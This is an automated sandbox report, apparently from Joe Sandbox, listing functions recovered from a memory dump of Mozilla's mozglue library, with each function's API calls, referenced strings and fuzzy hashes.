Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction ID: ecca295668190f666a14f864ffc2310ca795c118f821cf80c2765144a7e92b00
Opcode Fuzzy Hash: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction Fuzzy Hash: 8B027371A0561A8FEB54CF19C984799B7B5FF48318F2582AAD809A7B41D734FE90CF80

Function 6C9B5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C95EE51,?), ref: 6C9B6046
OutputDebugStringA.KERNEL32(?,6C95EE51,?), ref: 6C9B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9D148E), ref: 6C9B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C95EE51,00000000,?), ref: 6C9B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B60C4

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction ID: e83a61adb8faa0f129dc917e8056994ea339a756d63e53bc2920b569d8aa904c
Opcode Fuzzy Hash: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction Fuzzy Hash: 7A21B771A002089FDF106F29DC49A9E7BB8FF45614F108428E85AA7240CB74F599CFE2

Function 6C9B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B707E

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B709C
LocalFree.KERNEL32(?), ref: 6C9B70AA

Strings

### ERROR: %s: %s, xrefs: 6C9B7087
(null), xrefs: 6C9B706A, 6C9B7083

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction ID: 8bbf44654074e7dbf7dcf084a49bffa414ed7ad72ff5fc0ecc293ef824396237
Opcode Fuzzy Hash: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction Fuzzy Hash: 7801F9B1A00104AFDB006BA4DC4ADAF7BBCEF49215F110425FA05B3241D631B958CBE1

Function 6C979E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C979EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C979F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C979F34
LeaveCriticalSection.KERNEL32(?), ref: 6C97A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97A8B1, 6C97A8D4, 6C97A8EF

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction ID: 94957523199309d73732ad4787889eb1afbbd32ec043a61a8dfd12eef386b337
Opcode Fuzzy Hash: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction Fuzzy Hash: 9A728C72A067118FD324CF28C540615FBE1BF89728F2AC7ADE8699B791D735E841CB90

Function 6C9A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A2C61

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A2E2D

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

Strings

expected a Time entry, xrefs: 6C9A2E36
(root), xrefs: 6C9A354F
ProfileBuffer parse error: %s, xrefs: 6C9A2E3B

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction ID: 6db71ce32189a19d9db23119b6662487bea5f08fc53debd3939cd01c56360cc6
Opcode Fuzzy Hash: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction Fuzzy Hash: 9791DE70608B408FC724CF69C48469EF7F5AF99358F10491DE99A9BB91DB30D94ACB42

Function 6C97C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C97C317
MOZ_CRASH(), xrefs: 6C97D4BB

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction ID: 7fa5edbcc070eb5be9ebbf6d174c7c1676320848f468cb43dc99319330264d18
Opcode Fuzzy Hash: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction Fuzzy Hash: 9E52D03160A741CFD724CF18C4947AAB7E6FB8A318F24891DE8D687B81D735E845CB62

Function 6C9B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9B9F3D
__aulldiv.LIBCMT ref: 6C9B9F77
__aullrem.LIBCMT ref: 6C9B9F8C
__aulldiv.LIBCMT ref: 6C9BA023

Strings

NaN, xrefs: 6C9B9EAB
-Infinity, xrefs: 6C9B9E60, 6C9B9E7B

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction ID: 69e0b2d3aed9ab1d57e28fa6ced42487e1b947cf972753edc10017776aeefe6a
Opcode Fuzzy Hash: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction Fuzzy Hash: 05C1C031E00319ABDB14CFA8C8807AFB7B6EBA5314F544529D405BBB80DB71ED49CB91

Function 6C95D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C95DE7F
0, xrefs: 6C95D852
, xrefs: 6C95DA88
8, xrefs: 6C95DC08
1, xrefs: 6C95DBDD
@, xrefs: 6C95DAF6
0, xrefs: 6C95DC7F
-, xrefs: 6C95D7DD

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction ID: 6a1b592dd77ba60c11ff780af698c891675854449e9cc88d832b678b1b5d30ef
Opcode Fuzzy Hash: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction Fuzzy Hash: 5D62DE7260D3458FD701CF18C29076ABBF6AF86318F984A4DE4D44BB95C335D9A6CB82

Function 6C969F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C96A5D6
0, xrefs: 6C96A100
0, xrefs: 6C96AB22
@, xrefs: 6C96A625
' , xrefs: 6C96A3D8
1, xrefs: 6C96A824

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction ID: 285342c432369980256c34f893e47099f05ee16847ac6515a861495d325d71b3
Opcode Fuzzy Hash: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction Fuzzy Hash: 6182CF319093318BF710CF1BC49026EB7E6EB85758F65892AE8D547ED0DB35E885CB82

Function 6C95BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C95C1CB
__aulldiv.LIBCMT ref: 6C95C24C
__aulldiv.LIBCMT ref: 6C95C348
__aullrem.LIBCMT ref: 6C95C365
__aulldiv.LIBCMT ref: 6C95C37D

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca564f0a8df396e03c74de320938d7a0532e7320a7295eeba397575622058f59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C322632B046168FCB18DE3CC89066ABBE6AFD9310F49866DE495CB395D730ED05CB91

Function 6C9C545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C8A4B

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6748e7821dcc473d6c0f55ff824bf16f35ac862823f67dc771b8f36cf46e1fb6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D2B1E672B0021ACFDB14CF68CC907A9B7B6EF95314F1902A9C549EB781D730E985CB92

Function 6C9C542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6cd0fcc83cd549fe357bb5cf7969e5caf8bc937e41cd46092fa0c911797b1cdb
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 75B1D572F0021A8BDB14CF58CC816ADB7B6AF95314F190269C549EBB85D730E989CB92

Function 6C9C50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: b7d9ce138e4f5084dc90b56994151a48e0598923134e98aea57dfd13da7d3c95
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: AAA1D772B001178FDB14CF68CC807A9B7B6AF95314F1502B9C949EB785D730E999CB92

Function 6C9A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A7A93

Part of subcall function 6C975C50: GetTickCount64.KERNEL32 ref: 6C975D40
Part of subcall function 6C975C50: EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A7AA1

Part of subcall function 6C975C50: __aulldiv.LIBCMT ref: 6C975DB4
Part of subcall function 6C975C50: LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9A7B31

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction ID: 35d63b402a5348829407a67e4b6dac3005365ed227e1c3fbdf0c17e17450f845
Opcode Fuzzy Hash: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction Fuzzy Hash: 90B1AC356087808BCB18CFA4C49165FB7E2BFD9318F154A1CE99567B94DB70E90BCB82

Function 6C996CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C996D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996E1E

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction ID: f7634df291f7fc298ae2d1d3f8b29d472dd0c08a0e26eb2a7d4116a96b0aebee
Opcode Fuzzy Hash: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction Fuzzy Hash: 93A18D706183818FCB15CF24C4907AEFBE6BFA8308F54495DE48A87751DB70E959CB92

Function 6C9BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9BB720
RtlNtStatusToDosError.NTDLL ref: 6C9BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C98FE3F,00000000,00000000,?,?,00000000,?,6C98FE3F), ref: 6C9BB760

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction ID: 973e5f119293fe9ebbc3919dc469951abb1e451a2f5b83f2ef42083c76e2a61a
Opcode Fuzzy Hash: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction Fuzzy Hash: 51F0AFB0A0420CAEEF019AA1CCC4BEFB7BC9B14719F105129E511729C0D774E6C8C762

Function 6C974640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C974777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C975585, 6C9755A8, 6C9755C3, 6C975624

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction ID: 1fad17c29fd2c955e96db0ffb6502fe17ff21090745f4a1ef674bff60e20a197
Opcode Fuzzy Hash: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction Fuzzy Hash: 37B28D71A06B018FD728CF18C590715BBE6BFC5324B29C7ADE4698B6A6D731E841CF90

Function 6C9B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B8C7C
__aulldiv.LIBCMT ref: 6C9B8DD7

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
